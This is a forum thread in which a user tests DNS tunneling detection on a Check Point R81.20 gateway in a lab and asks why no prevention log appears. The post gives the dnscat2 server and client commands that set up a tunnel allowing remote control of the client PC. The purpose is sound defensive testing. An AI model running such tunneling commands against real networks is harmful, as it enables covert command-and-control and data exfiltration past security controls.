R81.20 DNS Tunneling Detection ?

[LongjiangLI]

Hi Expert ， 

      As we know ,The R81.20 has publish a new feature  DNS security blade  .  I have try use the DNSCAT2 to testing the DNS tunneling attack  but not found any prevention log  , ONLY see the firewall DNS log .

       In the gateway   enable Anti-bot、Anti-malware  and IPS blade ;

      Testing topology :   DNSCAT2_Server < ---> Gateway< --->  DNSCAT2_Client  

       Form  DNSCAT2 Server side use command  "ruby ./dnscat2.rb --security=open " create a DNS  listen and without encryption  . In the Client side use command " ./dnscat --dns server=10.0.20.2,port=53 "    CC to  server .  When the establish  can use that tunnel doing any action on the client PC .

    Base  on  this lab , I want know why   haven't catching the DNS tunneling  ,Thanks ! 

[Chris_Atkinson]

To start could you please confirm how your configuration is set per: sk74120 / sk92224

Please also verify how this protection is currently set?

Refer also: sk178487 - ThreatCloud DNS Tunneling Protection